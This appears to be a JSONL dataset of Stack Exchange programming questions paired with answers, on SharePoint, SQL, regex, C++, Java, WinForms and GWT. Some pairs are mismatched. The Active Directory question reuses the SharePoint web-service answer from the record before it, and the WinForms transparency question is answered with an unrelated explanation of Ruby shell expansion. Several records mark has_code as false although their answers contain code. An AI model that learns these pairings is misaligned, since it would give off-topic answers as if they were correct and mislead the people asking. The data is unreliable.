{"id": "hf_d6933dac3493", "question": "<p>I need to get a list of all documents in a site collection, which I believe I can do with either the alldocs table or the  alluserdata table (MOSS 2007 SP1) but do not see how I can get the author information for the document.  I do not need the contents of the document (e.g. AllDocStreams content)</p>\n\n<p><strong>Something like this:</strong></p>\n\n<pre><code>SELECT     tp_DirName, tp_LeafName, tp_Version, tp_Modified, tp_Created\nFROM         AllUserData\nWHERE     (tp_ContentType = 'Document') \nAND (tp_LeafName NOT LIKE '%.css') \nAND (tp_LeafName NOT LIKE '%.jpg') \nAND (tp_LeafName NOT LIKE '%.png') \nAND (tp_LeafName NOT LIKE '%.wmf') \nAND (tp_LeafName NOT LIKE '%.gif') \nAND (tp_DirName NOT LIKE '%Template%') \nAND (tp_IsCurrentVersion = 1) \nAND (tp_LeafName NOT LIKE '%.xsl')\nORDER BY tp_SiteId, tp_ListId, tp_DirName, tp_LeafName, tp_IsCurrentVersion DESC\n</code></pre>\n\n<p><strong>Is there a better way to go about this?</strong></p>\n", "question_body": "", "answer": "MOSS provides many\nwebservices\nout of the box which make life a little easier.  They are always worth exploring.\nFor this particular instance, I think the article,\nGetting a list of files from a MOSS document library using a SharePoint web service\n, will be of assistance.  If this isn't your exact scenario, it will get you on the right track.\nIf the Document service doesn't help you, the Search service will I'm sure.  Check the documentation for usage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.939729"}
{"id": "hf_a023a905a3e1", "question": "<p>I'm writing an intranet application for a client and I want to give them the ability to configure through an admin interface, which users and user groups can access certain areas. What I'd like to know is the best way of storing the reference to the user or group that is assigned to an area of the intranet. </p>\n\n<p>Should I be using the <strong>domain\\username</strong> and <strong>domain\\groupname</strong> strings or should i perhaps be using the fully qualified ad name ie <strong>ou=computer room;cn=blah</strong> etc?</p>\n\n<p>I will be storing the reference in SQL.</p>\n", "question_body": "", "answer": "MOSS provides many\nwebservices\nout of the box which make life a little easier.  They are always worth exploring.\nFor this particular instance, I think the article,\nGetting a list of files from a MOSS document library using a SharePoint web service\n, will be of assistance.  If this isn't your exact scenario, it will get you on the right track.\nIf the Document service doesn't help you, the Search service will I'm sure.  Check the documentation for usage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.963503"}
{"id": "hf_bb94c2000270", "question": "<p>I want to check for duplicated words right next to each other, but even if there is punctuation in between.</p>\n<p>For example:</p>\n<pre><code>Vivamus Vivamus diam, diam, Vivamus Vivamus diam, diam Vivamus\n</code></pre>\n<p>There should be four distinct hits here.</p>\n<p>I can't figure out why this isn't working. Why? What should the correct code be?</p>\n<pre class=\"lang-none prettyprint-override\"><code>(\\w*(?:[ ,\\.])*?)\\1\n</code></pre>\n<hr />\n<p><em>PS: This is</em> <em><strong>not</strong></em> <em>necessarily for the Perl engine.</em></p>\n", "question_body": "", "answer": "The\n```\n(?:\n```\nis a non-capturing parenthesis, meaning it won't store the matches.  You will need to use capturing parentheses.\n```\n```\n(\\w+)\\W+\\1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.987666"}
{"id": "hf_6b294097c8bd", "question": "<p>How can one programmatically sort a union query when pulling data from two tables? For example,</p>\n\n<pre><code>SELECT table1.field1 FROM table1 ORDER BY table1.field1\nUNION\nSELECT table2.field1 FROM table2 ORDER BY table2.field1\n</code></pre>\n\n<p>Throws an exception</p>\n\n<p>Note: this is being attempted on MS Access Jet database engine</p>\n", "question_body": "", "answer": "The second table cannot include the table name in the\n```\nORDER BY\n```\nclause.\nSo...\n```\n```\nSELECT table1.field1 FROM table1 ORDER BY table1.field1\nUNION\nSELECT table2.field1 FROM table2 ORDER BY field1\n```\n```\nDoes not throw an exception", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.061534"}
{"id": "hf_ca8228da1817", "question": "<p>I've been doing \"plain old java objects\" programming for 10 years now, with Swing and JDBC, and I consider myself pretty good at it.  But I start a new job in two weeks where they use JBoss, and I'd like to get a heads up and start learning all this stuff before I start.  What are good resources?  On-line tutorials, books, e-books, anything you can suggest, especially ones that don't try to teach you the basics of plain Java first.</p>\n", "question_body": "", "answer": "A couple of answers come to mind:\nif \"plain old java\" is what you're used to, you'll probably need a grounding of plain old j2EE more than JBOSS specific stuff. I'd start with\nthe sun tutorials\n, but being familiar with the general structure of servlets, the servlet api, is base.\nas application servers go, JBoss is (my biased opinion only) insanely large and complicated. Think \"launching the space shuttle\" and you won't be far off. A million services. It is specifically noted for having an unusual class loader structure (although this may have changed since I used it last, about 1 -2 years ago), among other things. It also has an extensive list of nice services, like a JMX base (management configuration beans) although documentation is likely to be spotty, as support is a paid service.\nBest suggestion- familiarize yourself with the J2EE libraries. Next would be to get a basic site running in JBOSS. More specific stuff that you might want to do is likely to be very specific to their installation (e.g. there's a JMS implementation available in there but they may not be using it) as I've seen people use it for nothing but a servlet container.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.109796"}
{"id": "hf_17fde500bcb7", "question": "<p>So I know that autocommit commits every sql statement, but do updates to the database go directly to the disk or do they remain on cache until flushed?  </p>\n\n<p>I realize it's dependent on the database implementation.</p>\n\n<p>Does auto-commit mean \na) every statement is a complete transaction AND it goes straight to disk or \nb) every statement is a complete transaction and it may go to cache where it will be flushed later or it may go straight to disk</p>\n\n<p>Clarification would be great.</p>\n", "question_body": "", "answer": "Auto-commit simply means that each statement is in its own transaction which commits immediately.  This is in contrast to the \"normal\" mode, where you must explicitly\n```\nBEGIN\n```\na transaction and then\n```\nCOMMIT\n```\nonce you are done (usually after several statements).\nThe phrase \"auto-commit\" has nothing to do with disk access or caching.  As an implementation detail, most databases will write to disk on commit so as to avoid data loss, but this isn't mandatory in the spec.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.134131"}
{"id": "hf_590b07b0a3b4", "question": "<p>Many C++ books contain example code like this...</p>\n\n<pre><code>std::cout &lt;&lt; \"Test line\" &lt;&lt; std::endl;\n</code></pre>\n\n<p>...so I've always done that too. But I've seen a lot of code from working developers like this instead:</p>\n\n<pre><code>std::cout &lt;&lt; \"Test line\\n\";\n</code></pre>\n\n<p>Is there a technical reason to prefer one over the other, or is it just a matter of coding style?</p>\n", "question_body": "", "answer": "There might be performance issues,\n```\nstd::endl\n```\nforces a flush of the output stream.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.193573"}
{"id": "hf_fe43a65eb006", "question": "<p>I'm trying to compile a program called ngrep, and when I ran configure, things seemed to go well, but when I run make, I get:</p>\n\n<pre><code>ngrep.c: In function ‘process’:\nngrep.c:544: error: ‘struct udphdr’ has no member named ‘source’\nngrep.c:545: error: ‘struct udphdr’ has no member named ‘dest’\nmake: *** [ngrep.o] Error 1                              \n</code></pre>\n\n<p>What does that mean, and how do I fix it? There are no earlier warnings or errors that suggest the root of the problem.</p>\n", "question_body": "", "answer": "Well, there is a struct called udphdr (probably short for udp header). And some part of the program assumes the struct has the members source and dest which it hasn't.\nLook at file ngrep.c line 544 and 545 to find the offending lines.\nPossible causes:\ntype name type error.\nstruct is not completely defined.\nusing the wrong struct.\nEdit: probably related problem:\nhttp://ubuntuforums.org/showthread.php?t=371871", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.253447"}
{"id": "hf_ce30027ff8a0", "question": "<p>I recently ran into a problem that I thought boost::lambda or boost::phoenix could help be solve, but I was not able to get the syntax right and so I did it another way. What I wanted to do was remove all the elements in \"strings\" that were less than a certain length and not in another container.</p>\n\n<p>This is my first try:</p>\n\n<pre><code>std::vector&lt;std::string&gt; strings = getstrings();\nstd::set&lt;std::string&gt; others = getothers();\nstrings.erase(std::remove_if(strings.begin(), strings.end(), (_1.length() &lt; 24 &amp;&amp;  others.find(_1) == others.end())), strings.end());\n</code></pre>\n\n<p>How I ended up doing it was this:</p>\n\n<pre><code>struct Discard\n{\n    bool operator()(std::set&lt;std::string&gt; &amp;cont, const std::string &amp;s)\n    {\n        return cont.find(s) == cont.end() &amp;&amp; s.length() &lt; 24;\n    }\n};\n\nlines.erase(std::remove_if( lines.begin(), lines.end(), boost::bind&lt;bool&gt;(Discard(), old_samples, _1)), lines.end());\n</code></pre>\n", "question_body": "", "answer": "You need boost::labmda::bind to lambda-ify function calls, for example the length < 24 part becomes:\n```\n```\nbind(&string::length, _1) < 24\n```\n```\nEDIT\nSee \"Head Geek\"'s post for why set::find is tricky.  He got it to resolve the correct set::find overload (so I copied that part), but he missed an essential boost::ref() -- which is why the comparison with end() always failed (the container was copied).\n```\n```\nint main()\n{\n  vector<string> strings = getstrings();\n  set<string> others = getothers();\n  set<string>::const_iterator (set<string>::*findFn)(const std::string&) const = &set<string>::find;\n  strings.erase(\n    remove_if(strings.begin(), strings.end(),\n        bind(&string::length, _1) < 24 &&\n        bind(findFn, boost::ref(others), _1) == others.end()\n      ), strings.end());\n  copy(strings.begin(), strings.end(), ostream_iterator<string>(cout, \", \"));\n  return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.289311"}
{"id": "hf_327f1210a94e", "question": "<p>What new features in java 7 is going to be implemented?\nAnd what are they doing now?</p>\n", "question_body": "", "answer": "In addition to what John Skeet said, here's an\noverview of the Java 7 project\n. It includes a list and description of the features.\nNote: JDK 7 was released on July 28, 2011, so you should now go to the official\njava SE site\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.325892"}
{"id": "hf_75e58bbe39f3", "question": "<p>I really like Entity Framework, but there are some key pieces that are a challenge to me. Can anyone tell me how to filter an EntityDataSource on an Association column? EF hides the FK values and instead has an Association property. Given an Entity, Person, with a PersonType association, I would have expected something like this to work if I want to filter my Person Entity by Type:</p>\n\n<pre><code>GridDataSource.EntityTypeFilter = \"it.PersonType.PersonTypeID = 1\";\n</code></pre>\n\n<p>or</p>\n\n<pre><code>GridDataSource.Where = \"it.PersonType.PersonTypeID = '1'\";\n</code></pre>\n\n<p>or even</p>\n\n<pre><code>GridDataSource.WhereParameters.Add(new Parameter(\"it.PersonType.PersonTypeID\", DbType.Object, \"1\"));\n</code></pre>\n\n<p>but none of those work. Anybody know how to do this?</p>\n", "question_body": "", "answer": "Have you tried applying the filter in memory using LINQ? (or Perhaps against the database?)\n```\n```\nvar personType = new PersonType { Id = 1 };\nvar query = PersonDataSource.Where(p => p.PersonType.Equals(personType));\n// use this query as the DataSource for your GridView\n```\n```\nI must admit I haven't done anything like this, but I have used this trick to update/create an entity without loading the associated entities first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.419887"}
{"id": "hf_67fb0c899895", "question": "<p>If I have a method such as:</p>\n\n<pre><code>public void MyMethod(int arg1, string arg2)\n</code></pre>\n\n<p>How would I go about getting the actual names of the arguments?\nI can't seem to find anything in the MethodInfo which will actually give me the name of the parameter.</p>\n\n<p>I would like to write a method which looks like this:</p>\n\n<pre><code>public static string GetParamName(MethodInfo method, int index)\n</code></pre>\n\n<p>So if I called this method with:</p>\n\n<pre><code>string name = GetParamName(MyMethod, 0)\n</code></pre>\n\n<p>it would return \"arg1\". Is this possible?</p>\n", "question_body": "", "answer": "```\n```\npublic static string GetParamName(System.Reflection.MethodInfo method, int index)\n{\n    string retVal = string.Empty;\n\n    if (method != null && method.GetParameters().Length > index)\n        retVal = method.GetParameters()[index].Name;\n\n    return retVal;\n}\n```\n```\nThe above sample should do what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.529546"}
{"id": "hf_341f4e48e783", "question": "<p>I just read the Wikipedia article on <a href=\"http://en.wikipedia.org/wiki/Mock_object\" rel=\"noreferrer\">mock objects</a>, but I'm still not entirely clear on their purpose. It appears they are objects that are created by a test framework when the actual object would be too complex or unpredictable (you know 100% sure what the values of the mock object are because you fully control them).</p>\n\n<p>However, I was under the impression that all testing is done with objects of known values, so I must be missing something. For example, in a course project, we were tasked with a calendar application. Our test suite consisted of event objects that we knew exactly what they were so we could test the interactions between multiple event objects, various subsystems, and the user interface. I'm guessing these are mock objects, but I don't know why you wouldn't do this because without the objects of known values, you can't test a system.</p>\n", "question_body": "", "answer": "Think of the classic case of having client and server software. To test the client, you need the server; to test the server, you need the client. This makes unit testing pretty much impossible - without using mocks. If you mock the server, you can test the client in isolation and vice versa.\nThe point of the mock is not to duplicate the behaviour of the things its mocking though. It is more to act as a simple state machine whose state changes can be analysed by the test framework. So a client mock might generate test data, send it to the server and then analyse the response. You expect a certain response to a specific request, and so you can test if you get it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.552836"}
{"id": "hf_5c3f2486b458", "question": "<p>Say you have a standard template with included (parsed) header, body, footer templates.</p>\n\n<p>In the body template a variable like $subject is defined and you want that also displayed in the header template.</p>\n\n<p>In some other template languages like HTML::Mason(perl based) you would evaluate the body template first to pick up the $subject variable but store it's output temporarily in a variable so your final output could end up in the correct order (header, body, footer)</p>\n\n<p>In velocity it would look something like</p>\n\n<p>set ($body=#parse(\"body.vm\"))</p>\n\n<p>parse(\"header.vm\")</p>\n\n<p>${body}</p>\n\n<p>parse(\"footer.vm\")</p>\n\n<p>This however doesn't seem to work,  any thoughts on how to do this?</p>\n", "question_body": "", "answer": "You can do this using\nVelocityLayoutServlet\nwhich is part of\nVelocityTools\n.\nThis allows you to define a layout for your application -- let's call it\n```\napplication.vm\n```\n-- in which you can parse in headers, footers etc and declare where the main body content is placed using the\n```\nscreen_content\n```\ndeclaration, e.g:\n```\n```\n<html>\n  <head>\n    <title>$subject</title>\n  </head>\n  <body>\n  #parse(\"header.vm\") \n  $screen_content\n  #parse(\"footer.vm\") \n  </body>\n</html>\n```\n```\n```\nVelocityLayoutServlet\n```\nwill evalulate the templates (and, hence, variables) before rendering which allows you to set a\n```\n$subject\n```\nvariable in your body template, e.g:\n```\n```\n#set($subject = \"My Subject\")\n<div id=\"content\">\n</div>\n```\n```\nMore detailed information can be found\nin the Velocity documentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.576685"}
{"id": "hf_4f512291b5aa", "question": "<p>Running VISTA 32bit.</p>\n\n<p>I am trying to install c# Visual Express 2008 - but it requires .NET 3.5. One of the prerequisites during the install is .NET 3.5 ... it attempts to install it but fails, with no real error message.</p>\n\n<p>So I downloaded .NET 3.5 standalone from MS website and tried that.Again it fails with the error </p>\n\n<blockquote>\n  <p>[10/17/08,23:17:07] WapUI: [2] DepCheck indicates Microsoft .NET Framework 3.0SP1 (CBS) is not installed.\n  [10/17/08,23:50:55] Microsoft .NET Framework 3.0SP1 (CBS): [2] Error: Installation failed for component Microsoft .NET Framework 3.0SP1 (CBS). MSI returned error code 34</p>\n</blockquote>\n\n<p>I currently have c# Express edition 2005 installed. But everything I read says that I can have these two applications installed together. I believe that 2005 runs Framework 2.0. 2005 express edition works fine. - its just the 2008 edition im having problems installed the .NET 3.5 with ....</p>\n\n<p>any ideas ? thanks</p>\n", "question_body": "", "answer": "Have you ever installed any of the pre-release versions of 3.0 or 3.5?  I had a lot of trouble installing 3.5 until I realized that I had installed a CTP of WPF.  Go through all of your Microsoft and .NET installs in Add/Remove programs and make sure that you don't have any pre-release versions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.600314"}
{"id": "hf_d026aa4da519", "question": "<p>I was getting bad data from an application I was writting using C++ in Visual Studio 2k3 so I decided to debug it. Then I found it was throwing an exception but one I can't track down.</p>\n\n<p>Then I placed some try/catch blocks and low and behold, when I don't debug there is no exception. That is, I have code that looks like this:</p>\n\n<p><code><pre>\nstd::vector&lt;MyClass*&gt; ListOfStuff;\n.\n.\n.\ntry\n{\n.\n.\n.\n   const MyClass * localPointer = ListOfStuff[i]; //This is where the exception occurs\n.\n.\n}\n catch (...)\n{\n   int x = 0;  //place break here\n}\n</pre></code>\nSo if I step through the code line by line I'll get an exception and shot to the catch. But if I just let it run with a breakpoint inside the catch nothing happens. Using an iterator has the same behavior. And I can successfully check the size of the vector so I know I'm within the bounds.\n<br>\nCan anyone tell me what's going on? If it matters I'm using some standard windows libraries and openGL.</p>\n", "question_body": "", "answer": "Is the exception an ASSERT? These may get compiled out at compile time or otherwise throw an assertion.\nFor example, you could have\n```\n```\n#ifdef DEBUG\n#define ASSERT(cond) if (cond) throw CDebugAssertionObj;\n#else\n#define ASSERT(cond)\n#endif\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.635762"}
{"id": "hf_9899da34aa03", "question": "<p>Anyone know of a good free winforms html editor for .NET. Ideally I would like html and preview modes along with the possibility of exporting to a pdf, word doc or similar. </p>\n\n<p>Although the export I could probably create myself from the html output.</p>\n\n<p>Another nice feature would be a paste from word that removes all the extra tags you usually end up with but again it's a nice to have not a required.</p>\n", "question_body": "", "answer": "You can use the\nWebBrowser\ncontrol in design mode with a second\n```\nWebBrowser\n```\ncontrol set in view mode.\nIn order to put the\n```\nWebBrowser\n```\ncontrol in design mode, you can use the following code.\nThis code is a super stripped down version of a WYSIWYG editor for one of our software products.\nSimply create a new Form, drop a\n```\nWebBrowser\n```\ncontrol on it, and put this in the Form.Load:\n```\n```\nMe.WebBrowser1.Navigate(\"\")\nApplication.DoEvents()\nMe.WebBrowser1.Document.OpenNew(False).Write(\"<html><body><div id=\"\"editable\"\">Edit this text</div></body></html>\")\n\n'turns off document body editing\nFor Each el As HtmlElement In Me.WebBrowser1.Document.All\n    el.SetAttribute(\"unselectable\", \"on\")\n    el.SetAttribute(\"contenteditable\", \"false\")\nNext\n\n'turns on editable div editing\nWith Me.WebBrowser1.Document.Body.All(\"editable\")\n    .SetAttribute(\"width\", Me.Width & \"px\")\n    .SetAttribute(\"height\", \"100%\")\n    .SetAttribute(\"contenteditable\", \"true\")\nEnd With\n\n'turns on edit mode\nMe.WebBrowser1.ActiveXInstance.Document.DesignMode = \"On\"\n'stops right click->Browse View\nMe.WebBrowser1.IsWebBrowserContextMenuEnabled = False\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.690886"}
{"id": "hf_5ca4bc26ec1d", "question": "<p>I'm working on a table of links within a site using iframes. I'm wondering if there's any way to code a link to go to two simultaneous destinations within two different target frames? I've been reading all afternoon and can't find anything close to what I want to do. Basically I want one link to present a photo in one iframe and some data in another iframe. Any ideas?</p>\n", "question_body": "", "answer": "Short answer: No.\nLonger answer: With what you describe, using strictly X/HTML, this isn't possible. You could add in javascript to change the iframe src, however. Something like:\n```\n```\nfunction click_link(id) {\n    document.getElementById('iframe1').src = \"page.ext?id=\" + id;\n    document.getElementById('iframe2').src = \"other_page.ext?id=\" + id;\n}\n```\n```\nBut of course, you probably shouldn't be using iframes anyways...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.736823"}
{"id": "hf_2e75e3220ebc", "question": "<p>I am trying to make my window manager conform to the ICCCM specifications. I fully understand the reason for the _NET_SUPPORTING_WM_CHECK atom - this ensures that no invalid information stays whenever the window manager isn't running anymore.</p>\n\n<p>What I don't understand is why are no other atoms like _NET_NUMBER_OF_DESKTOPS expected on the supporting window besides _NET_WM_NAME and _NET_SUPPORTING_WM_CHECK itself. </p>\n\n<p>Window managers are supposed to set and overwrite the data but this can be misleading in the case the new window manager isn't compliant.</p>\n", "question_body": "", "answer": "Well the atoms that you are talking about are not the ICCCM.\nThey belong to the newer set of\nEWMH\nSo basically it goes like this.\nFirst we had the ICCCM.\nThey are\nold\nmature\nsupported by most window managers (in full or in part)\neasy to implement\nUnix standard\nThen we had EWMH that are\nnewer (GNOME and KDE)\nnot many window managers support them\nmore complex (e.g. virtual desktops)\nA freedesktop standard.\nFreedesktop wanted to make the EWMH as broad as possible (apart from GNOME and KDE)\nand that is why most of the atoms are SHOULD and not MUST. They are giving a chance to small window manager to claim compliance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.767164"}
{"id": "hf_5d7ac50663ad", "question": "<p>I have several user drawn controls on a form, unfortunately when the form is shown the user drawn controls are showing the previous forms background rather than the current forms background.  </p>\n\n<p>The OnPaint event is very simple, and the OnBackgroundPaint event is empty...  </p>\n\n<p>Like this:</p>\n\n<pre><code>    protected override void OnPaint(PaintEventArgs pe)\n    {\n        pe.Graphics.DrawImageUnscaled(_bmpImage, 0, 0);            \n    }\n\n    protected override void OnPaintBackground(PaintEventArgs pevent)\n    {\n        //Leave empty...\n    }\n</code></pre>\n\n<p>How do I get the current background to be the transparency that is shown, rather than the background of the previous form?</p>\n", "question_body": "", "answer": "Ruby performs shell expansion when %x is used with a single argument (like you are doing).\nHere's my guess as to what is going on:\nRuby scans the command to determine if there are any special characters that would result in the need to perform shell expansion, if so it calls the shell to do that.  In the second example the single quotes are enough to make Ruby want to call the shell to do the expansion, hence the fork. In the first example Ruby can determine that shell expansion is not needed as the command contains no special characters (after variable expansion), hence no fork.  The difference between the two versions probably has to do with an internal change in how ruby tries to determine is shell expansion is needed.  I get a fork for the second example on ruby 1.8.5 on a 32-bit machine.\n[EDIT]\nOkay, I took a look at the source code for ruby 1.8.4 and 1.8.6 and both versions use the same criteria to determine whether or not to call a shell to perform shell expansion, if any of the following characters exist in the command line the shell will be invoked when one argument to %x is provided:\n```\n```\n*?{}[]<>()~&|\\\\$;'`\"\\n\n```\n```\nRuby is actually calling the shell in both cases (in example that contains the quotes), the reason you are seeing different outputs from\n```\npstree\n```\nis due to differences in the the\n```\nsh\n```\ncommand on the different machines, one calls\n```\nfork\n```\n, the other doesn't.  To see this for yourself, run this command on both machines:\n```\n```\n/bin/sh -c \"pstree $$\"\n```\n```\nThis is the command that Ruby is using to execute\n```\npstree\n```\nin the example with quotes on both machines.  You should see\n```\nbash---pstree\n```\non the 32-bit machine and\n```\nbash---sh---pstree\n```\non the other one.\nSo now I'm curious, what led you to discover this difference and is it causing a problem?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.798119"}
{"id": "hf_c873a02f6637", "question": "<p>When including a header file in C++, what's the difference between...</p>\n<ol>\n<li><p>including the <em>.h</em> part versus not including <em>.h</em> part when wrapping it in <em>&lt;&gt;</em> signs?</p>\n<p>#include &lt;iostream&gt; vs. #include &lt;iostream.h&gt;</p>\n</li>\n<li><p>wrapping the header name in double quotes versus wrapping it in &lt; &gt; signs?</p>\n<p>#include &lt;iostream.h&gt; vs. #include &quot;iostream.h&quot;</p>\n</li>\n</ol>\n", "question_body": "", "answer": "Here is a decent link\narticle.\nTo summarize, the reason given:\nThe version of the iostream library that the Standards Committee\n  produced was quite a bit different from the CFront implementation.\n  {snip}\nTo ease transition, the C++ Standards Committee declared that code\n  including the standard C++ headers would use include directives that\n  lack an extension. This allowed compiler vendors to ship the old style\n  C++ library headers with the .h extension and the new style headers\n  without.\nAn advantage of not using the .h version:\nThere are several reasons why new code should be written using the\n  extensionless version of the header files instead of the .h forms. The\n  first is the unpredictability of such code when compiled on modern\n  compilers. As previously mentioned, the result of using the .h headers\n  is implementation specific. And as time goes by, the chance that a\n  given compiler will have the old style library available decreases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.841024"}
{"id": "hf_e64bc84ad52f", "question": "<p>Recent conversations with colleagues have produced varying points of view on this matter. What say you, SO members?</p>\n\n<p>I know, even the concept of scalability can be taken in so many different ways and contexts, but that was part of the discussion when this came up. Everyone seemed to have a different take on what scalability really means. I'm curious to see the varying takes here as well. In fact, I posted a <a href=\"https://stackoverflow.com/questions/214246/what-does-scalability-mean-to-you\">question</a> just for that concept.</p>\n", "question_body": "", "answer": "It greatly depends on which LINQ provider you are using and how you are using it. LINQ probably is not know for amazing execution speed but is rather provides developers with substantially better productivity.\nAccording to\nthis\nlink even with some of the CTPs Linq to SQL was already better than using direct SQL in some cases.\nIf you are concerned with Speed and are using LINQ to objects alot\nhere\nis a codeplex project (I think) for a provider that can give you 1000x performance improvements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.866609"}
{"id": "hf_05dc3fbbd4e0", "question": "<p>I have the following snippet of code, changeTextArea is a TextArea object.</p>\n\n<pre><code>changeTextArea.addKeyboardListener(new KeyboardListenerAdapter()\n  public void onKeyPress( Widget sender, char keyCode, int modifier){\n    //do something\n    //I WISH TO STOP THE EVENT THAT MAPS TO THIS KEYPRESS FROM BUBBLING ANY FURTHER\n  }\n}\n</code></pre>\n\n<p>How would I stop the Event that is causing this method to be called from bubbling up from changeTextArea into the Panels/Widgets/Composites/Whatever that contain changeTextArea. Put succinctly, how do I stop it from bubbling any further. Any help would be appreciated (especially code samples).</p>\n", "question_body": "", "answer": "As far as I know you can't do it via a keyboard listener, but it is possible by adding an event preview using the DOM class:\n```\n```\nDOM.addEventPreview(EventPreview preview)\n```\n```\nThen when you get the event:\n```\n```\nonEventPreview(Event event)\n```\n```\nYou should return false, to say you want to cancel the event. The Event object also supports this method:\n```\n```\npublic final void cancelBubble(boolean cancel)\n```\n```\nCancels bubbling for the given event. This will stop the event from being propagated to parent elements.\nYou can find more details here:\nhttp://google-web-toolkit.googlecode.com/svn/javadoc/1.5/index.html?overview-summary.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.902030"}
